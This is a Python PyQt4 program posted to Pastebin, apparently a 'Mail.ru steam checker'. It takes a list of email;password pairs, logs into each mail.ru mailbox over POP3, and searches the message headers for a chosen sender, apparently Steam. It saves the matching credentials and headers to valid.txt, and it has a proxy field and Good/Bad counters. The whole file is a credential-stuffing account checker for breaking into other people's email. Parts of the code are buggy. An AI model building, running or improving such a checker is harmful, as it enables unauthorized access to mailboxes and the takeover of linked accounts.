Guest User

Untitled

a guest
May 7th, 2013
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 16.18 KB | None | 0 0
  1. # -*- coding: utf-8 -*-
  2.  
  3. #Import
  4. from PyQt4 import QtCore, QtGui
  5. from PyQt4.QtCore import *
  6. from PyQt4.QtGui import *
  7. import sys
  8. import poplib, email
  9. import re
  10. import time
  11. from simple_thread import SimpleThread
  12. #End
  13.  
  14.  
  15. try:
  16.     _fromUtf8 = QtCore.QString.fromUtf8
  17. except AttributeError:
  18.     def _fromUtf8(s):
  19.         return s
  20.  
  21. try:
  22.     _encoding = QtGui.QApplication.UnicodeUTF8
  23.     def _translate(context, text, disambig):
  24.         return QtGui.QApplication.translate(context, text, disambig, _encoding)
  25. except AttributeError:
  26.     def _translate(context, text, disambig):
  27.         return QtGui.QApplication.translate(context, text, disambig)
  28.    
  29. class Worker(QtCore.QThread):
  30.    
  31.     def __init__(self):
  32.    
  33.         QtCore.QThread.__init__(self)
  34.        
  35.         self.window = MainWindow
  36.        
  37.     def slotDo(self):
  38.         print 'slotDo called in thread:', self.currentThread()
  39.         self.emit(QtCore.SIGNAL('done'))
  40.        
  41.     def run(self):
  42.         print 'Worker thread:', self.currentThread()
  43.        
  44. class Ui_MainWindow(QtGui.QMainWindow):
  45.     #Init thread
  46.     def __init__(self):
  47.         QtGui.QMainWindow.__init__(self)
  48.         self.thread = Worker()
  49.         self.i = 1
  50.     #End
  51.     #Setup GUI
  52.     def setupUi(self, MainWindow):
  53.         MainWindow.setObjectName(_fromUtf8("MainWindow"))
  54.         MainWindow.setEnabled(True)
  55.         MainWindow.resize(585, 404)
  56.         icon = QtGui.QIcon()
  57.         icon.addPixmap(QtGui.QPixmap(_fromUtf8("../../Desktop/Png/32x32/Mail.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off)
  58.         MainWindow.setWindowIcon(icon)
  59.         self.trayIcon = QtGui.QSystemTrayIcon(QtGui.QIcon("../../Desktop/Png/32x32/Mail.png"), app)
  60.         self.centralwidget = QtGui.QWidget(MainWindow)
  61.         self.centralwidget.setObjectName(_fromUtf8("centralwidget"))
  62.         self.log_box = QtGui.QGroupBox(self.centralwidget)
  63.         self.log_box.setGeometry(QtCore.QRect(10, 10, 311, 321))
  64.         self.log_box.setObjectName(_fromUtf8("log_box"))
  65.         self.log_view = QtGui.QTextEdit(self.log_box)
  66.         self.log_view.setGeometry(QtCore.QRect(10, 20, 281, 291))
  67.         self.log_view.setObjectName(_fromUtf8("log_view"))
  68.         self.setting_box = QtGui.QGroupBox(self.centralwidget)
  69.         self.setting_box.setEnabled(True)
  70.         self.setting_box.setGeometry(QtCore.QRect(330, 10, 241, 181))
  71.         self.setting_box.setObjectName(_fromUtf8("setting_box"))
  72.         self.Pop_server_set = QtGui.QLineEdit(self.setting_box)
  73.         self.Pop_server_set.setEnabled(False)
  74.         self.Pop_server_set.setGeometry(QtCore.QRect(10, 40, 221, 20))
  75.         self.Pop_server_set.setReadOnly(True)
  76.         self.Pop_server_set.setObjectName(_fromUtf8("Pop_server_set"))
  77.         self.Pop_server_label = QtGui.QLabel(self.setting_box)
  78.         self.Pop_server_label.setGeometry(QtCore.QRect(90, 20, 61, 16))
  79.         self.Pop_server_label.setObjectName(_fromUtf8("Pop_server_label"))
  80.         self.mail_address_search_label = QtGui.QLabel(self.setting_box)
  81.         self.mail_address_search_label.setGeometry(QtCore.QRect(70, 70, 91, 16))
  82.         self.mail_address_search_label.setObjectName(_fromUtf8("mail_address_search_label"))
  83.         self.mail_address_search_edit = QtGui.QLineEdit(self.setting_box)
  84.         self.mail_address_search_edit.setGeometry(QtCore.QRect(10, 90, 221, 20))
  85.         self.mail_address_search_edit.setObjectName(_fromUtf8("mail_address_search_edit"))
  86.         self.Proxy_server_label = QtGui.QLabel(self.setting_box)
  87.         self.Proxy_server_label.setGeometry(QtCore.QRect(80, 120, 111, 20))
  88.         self.Proxy_server_label.setObjectName(_fromUtf8("Proxy_server_label"))
  89.         self.Proxy_server_edit = QtGui.QLineEdit(self.setting_box)
  90.         self.Proxy_server_edit.setGeometry(QtCore.QRect(10, 140, 221, 20))
  91.         self.Proxy_server_edit.setObjectName(_fromUtf8("Proxy_server_edit"))
  92.         self.run_check = QtGui.QPushButton(self.centralwidget)
  93.         self.run_check.setGeometry(QtCore.QRect(500, 200, 75, 23))
  94.         self.run_check.setObjectName(_fromUtf8("run_check"))
  95.         self.Bad_label_int = QtGui.QGroupBox(self.centralwidget)
  96.         self.Bad_label_int.setGeometry(QtCore.QRect(330, 230, 241, 101))
  97.         self.Bad_label_int.setObjectName(_fromUtf8("Bad_label_int"))
  98.         self.Good_label = QtGui.QLabel(self.Bad_label_int)
  99.         self.Good_label.setGeometry(QtCore.QRect(20, 20, 46, 13))
  100.         self.Good_label.setObjectName(_fromUtf8("Good_label"))
  101.         self.Bad_label = QtGui.QLabel(self.Bad_label_int)
  102.         self.Bad_label.setGeometry(QtCore.QRect(20, 40, 46, 13))
  103.         self.Bad_label.setObjectName(_fromUtf8("Bad_label"))
  104.         self.sum_label = QtGui.QLabel(self.Bad_label_int)
  105.         self.sum_label.setGeometry(QtCore.QRect(20, 80, 46, 13))
  106.         self.sum_label.setObjectName(_fromUtf8("sum_label"))
  107.         self.Error_label = QtGui.QLabel(self.Bad_label_int)
  108.         self.Error_label.setGeometry(QtCore.QRect(20, 60, 46, 13))
  109.         self.Error_label.setObjectName(_fromUtf8("Error_label"))
  110.         self.Good_label_int = QtGui.QLabel(self.Bad_label_int)
  111.         self.Good_label_int.setGeometry(QtCore.QRect(200, 20, 16, 16))
  112.         self.Good_label_int.setObjectName(_fromUtf8("Good_label_int"))
  113.         self.label_8 = QtGui.QLabel(self.Bad_label_int)
  114.         self.label_8.setGeometry(QtCore.QRect(200, 40, 16, 16))
  115.         self.label_8.setObjectName(_fromUtf8("label_8"))
  116.         self.Error_label_int = QtGui.QLabel(self.Bad_label_int)
  117.         self.Error_label_int.setGeometry(QtCore.QRect(200, 60, 16, 16))
  118.         self.Error_label_int.setObjectName(_fromUtf8("Error_label_int"))
  119.         self.sum_label_int = QtGui.QLabel(self.Bad_label_int)
  120.         self.sum_label_int.setGeometry(QtCore.QRect(200, 80, 16, 16))
  121.         self.sum_label_int.setObjectName(_fromUtf8("sum_label_int"))
  122.         self.progressBar = QtGui.QProgressBar(self.centralwidget)
  123.         self.progressBar.setGeometry(QtCore.QRect(0, 340, 621, 23))
  124.         self.progressBar.setProperty("value", 0)
  125.         self.progressBar.setTextVisible(False)
  126.         self.progressBar.setObjectName(_fromUtf8("progressBar"))
  127.         MainWindow.setCentralWidget(self.centralwidget)
  128.         self.menubar = QtGui.QMenuBar(MainWindow)
  129.         self.menubar.setGeometry(QtCore.QRect(0, 0, 585, 21))
  130.         self.menubar.setObjectName(_fromUtf8("menubar"))
  131.         self.menu = QtGui.QMenu(self.menubar)
  132.         self.menu.setObjectName(_fromUtf8("menu"))
  133.         self.menu_2 = QtGui.QMenu(self.menubar)
  134.         self.menu_2.setObjectName(_fromUtf8("menu_2"))
  135.         MainWindow.setMenuBar(self.menubar)
  136.         self.statusbar = QtGui.QStatusBar(MainWindow)
  137.         self.statusbar.setObjectName(_fromUtf8("statusbar"))
  138.         MainWindow.setStatusBar(self.statusbar)
  139.         self.action_exit = QtGui.QAction(MainWindow)
  140.         self.action_exit.setObjectName(_fromUtf8("action_exit"))
  141.         self.action_about = QtGui.QAction(MainWindow)
  142.         self.action_about.setObjectName(_fromUtf8("action_about"))
  143.         self.menu.addAction(self.action_exit)
  144.         self.menu_2.addAction(self.action_about)
  145.         self.menubar.addAction(self.menu.menuAction())
  146.         self.menubar.addAction(self.menu_2.menuAction())
  147.    
  148.  
  149.         self.retranslateUi(MainWindow)
  150.     #End
  151.        
  152.         #Update Ui function
  153.         def updateUi():
  154.             self.log_view.setReadOnly(False)
  155.             self.run_check.setEnabled()(True)
  156.             MainWindow.update()
  157.         #End
  158.        
  159.         #Signals
  160.         QtCore.QObject.connect(self.thread, QtCore.SIGNAL("finished()"), updateUi)
  161.         QtCore.QObject.connect(self.thread, QtCore.SIGNAL("terminated()"), updateUi)
  162.         QtCore.QObject.connect(self.action_exit, QtCore.SIGNAL(_fromUtf8("triggered()")), MainWindow.close)
  163.         QtCore.QObject.connect(self.action_about, QtCore.SIGNAL(_fromUtf8("triggered()")), MainWindow.raise_)
  164.         #End
  165.        
  166. #Main function!!!
  167.         def start_check(self):
  168.             self.progressBar.setValue(10)
  169.             base = open('source.txt', 'r').readlines()
  170.             server = 'pop.mail.ru'
  171.             p = poplib.POP3(server)
  172.             search_address_get = self.mail_address_search_edit.text()
  173.             search_address = str(search_address_get)
  174.             good_int = 0
  175.             bad_int = 0
  176.             error_int = 0
  177.             accs_int = 0
  178.             self.progressBar.setValue(20)
  179.             for line in base:
  180.                 MainWindow.repaint()
  181.                 p = poplib.POP3(server)
  182.                 MainWindow.repaint()
  183.                 sBuffer = line
  184.                 AccInfo = sBuffer.split(';')
  185.                 mail = AccInfo[0]
  186.                 MainWindow.repaint()
  187.                 passwd=AccInfo[1]
  188.                 username = mail
  189.                 passwd = passwd
  190.                 MainWindow.repaint()
  191.                 self.progressBar.setValue(30)
  192.                 MainWindow.repaint()
  193.  
  194.                 print p.getwelcome()
  195.                 print p.user(username)
  196.                 print p.pass_(passwd)
  197.                 MainWindow.repaint()
  198.                 response, lst, octets = p.list()
  199.                 print response
  200.                 MainWindow.repaint()
  201.                 for msgnum, msgsize in [i.split() for i in lst]:
  202.                     self.sleep(3)
  203.                     MainWindow.repaint()
  204.                     self.progressBar.setValue(40)
  205.                     MainWindow.repaint()
  206.                     print "Сообщение номер %(msgnum)s Размер сообщения %(msgsize)s" % vars()
  207.                     MainWindow.repaint()
  208.                     if int(msgsize) > 32000:
  209.                         (resp, lines, octets) = p.top(msgnum, 0)
  210.                         MainWindow.repaint()
  211.                     else:
  212.                         (resp, lines, octets) = p.retr(msgnum)
  213.                         MainWindow.repaint()
  214.                         self.progressBar.setValue(50)
  215.                         msgtxt = "\n".join(lines)+"\n\n"
  216.                         MainWindow.repaint()
  217.                         msg = email.message_from_string(msgtxt)
  218.                         MainWindow.repaint()
  219.                         self.progressBar.setValue(60)
  220.                         len_msg = "\n* Сообщение номер %(msgnum)s имеет длину %(msgsize)s" % vars()
  221.                         MainWindow.repaint()
  222.                         get_msg = "* Аккаунт " + mail + ";" + passwd + "\n* От: %(from)s\n* Кому: %(to)s\n*" % msg
  223.                         msg_encode = get_msg.encode('utf-8')
  224.                         MainWindow.repaint()
  225.                         self.progressBar.setValue(70)
  226.                         MainWindow.repaint()
  227.                         search_result = re.search('[<]' + search_address + '[>]', msg_encode)
  228.                         MainWindow.repaint()
  229.                         if search_result != None:
  230.                             MainWindow.repaint()
  231.                             f = open('valid.txt', 'a')
  232.                             f.write(msg_encode)
  233.                             good_int = good_int+1
  234.                             MainWindow.repaint()
  235.                             self.Good_label.setText(_translate("MainWindow", "<html><head/><body><p><span style=\" font-weight:600;\">Good</span></p></body></html>", None))
  236.                             self.Good_label_int.setText(_translate("MainWindow", "<html><head/><body><p><span style=\" color:#55ff00;\">" + str(good_int) + "</span></p></body></html>", None))
  237.                             self.log_view.setText(len_msg)
  238.                             MainWindow.repaint()
  239.                             self.log_view.setText(get_msg)
  240.                             MainWindow.repaint()
  241.                             self.progressBar.setValue(90)
  242.                             MainWindow.repaint()
  243.                         else:
  244.                             f = open('invalid.txt', 'a')
  245.                             MainWindow.repaint()
  246.                             MainWindow.repaint()
  247.                             f.write(msg_encode)
  248.                             bad_int = bad_int+1
  249.                             MainWindow.update()
  250.                             self.label_8.setText(_translate("MainWindow", "<html><head/><body><p><span style=\" color:#ff007f;\">" + str(bad_int) + "</span></p></body></html>", None))
  251.                             self.log_view.setText(unicode(len_msg))
  252.                             self.log_view.setText(unicode(get_msg))
  253.                             MainWindow.repaint()
  254.                             self.progressBar.setValue(90)
  255.                             MainWindow.repaint()
  256.                 sum_int = bad_int + good_int
  257.                 self.progressBar.setValue(100)
  258.                 self.sum_label_int.setText(_translate("MainWindow", "<html><head/><body><p><span style=\" color:#5500ff;\">" + str(sum_int) + "</span></p></body></html>", None))
  259.                 print p.quit()
  260. #The end
  261.        
  262.     #Signals
  263.         def slotClicked():
  264.             self.emit(QtCore.SIGNAL('do'))
  265.         QtCore.QObject.connect(self.run_check, QtCore.SIGNAL('clicked()'), slotClicked)
  266.         def slotDone(self):
  267.             self.i += 1
  268.             #self.MainWindow.show()
  269.         QtCore.QMetaObject.connectSlotsByName(MainWindow)
  270.     #End
  271.    
  272.    
  273.     #Ui retranslate
  274.     def retranslateUi(self, MainWindow):
  275.         MainWindow.setWindowTitle(_translate("MainWindow", "MainWindow", None))
  276.         self.log_box.setTitle(_translate("MainWindow", "Лог работы", None))
  277.         self.setting_box.setTitle(_translate("MainWindow", "Настройки", None))
  278.         self.Pop_server_set.setText(_translate("MainWindow", "Используется mail.ru POP сервер", None))
  279.         self.Pop_server_label.setText(_translate("MainWindow", "Pop server", None))
  280.         self.mail_address_search_label.setText(_translate("MainWindow", "Адрес для поиска", None))
  281.         self.Proxy_server_label.setText(_translate("MainWindow", "Прокси-сервер", None))
  282.         self.run_check.setText(_translate("MainWindow", "Начать чек", None))
  283.         self.Bad_label_int.setTitle(_translate("MainWindow", "Статистика", None))
  284.         self.Good_label.setText(_translate("MainWindow", "<html><head/><body><p><span style=\" font-weight:600;\">Good</span></p></body></html>", None))
  285.         self.Bad_label.setText(_translate("MainWindow", "<html><head/><body><p><span style=\" font-weight:600;\">Bad</span></p></body></html>", None))
  286.         self.sum_label.setText(_translate("MainWindow", "<html><head/><body><p><span style=\" font-weight:600;\">Всего</span></p></body></html>", None))
  287.         self.Error_label.setText(_translate("MainWindow", "<html><head/><body><p><span style=\" font-weight:600;\">Ошибок</span></p></body></html>", None))
  288.         self.Good_label_int.setText(_translate("MainWindow", "<html><head/><body><p><span style=\" color:#55ff00;\">0</span></p></body></html>", None))
  289.         self.label_8.setText(_translate("MainWindow", "<html><head/><body><p><span style=\" color:#ff007f;\">0</span></p></body></html>", None))
  290.         self.Error_label_int.setText(_translate("MainWindow", "<html><head/><body><p><span style=\" color:#ff0000;\">0</span></p></body></html>", None))
  291.         self.sum_label_int.setText(_translate("MainWindow", "<html><head/><body><p><span style=\" color:#5500ff;\">0</span></p></body></html>", None))
  292.         self.menu.setTitle(_translate("MainWindow", "Файл", None))
  293.         self.menu_2.setTitle(_translate("MainWindow", "Справка", None))
  294.         self.action_exit.setText(_translate("MainWindow", "Выход", None))
  295.         self.action_about.setText(_translate("MainWindow", "О программе", None))
  296.         self.trayIcon.show()
  297.         self.trayIcon.showMessage(u'Mail.ru steam checker', u'Отображается в трее')
  298.     #End
  299.        
  300.  
  301. #Worker thread
  302.  
  303. #------------------
  304.  
  305. #End
  306.  
  307.  
  308. if __name__ == "__main__":
  309.     app = QtGui.QApplication(sys.argv)
  310.     MainWindow = QtGui.QMainWindow()
  311.     ui = Ui_MainWindow()
  312.     ui.setupUi(MainWindow)
  313.     MainWindow.show()
  314.     worker = Worker()
  315.     worker.start()
  316.     app.connect(MainWindow, QtCore.SIGNAL('do'), worker.slotDo)
  317.     #app.connect(worker, QtCore.SIGNAL('done'), MainWindow.slotDone)
  318.     print 'Main thread:', app.instance().thread()
  319.     sys.exit(app.exec_())
Advertisement
Add Comment
Please, Sign In to add comment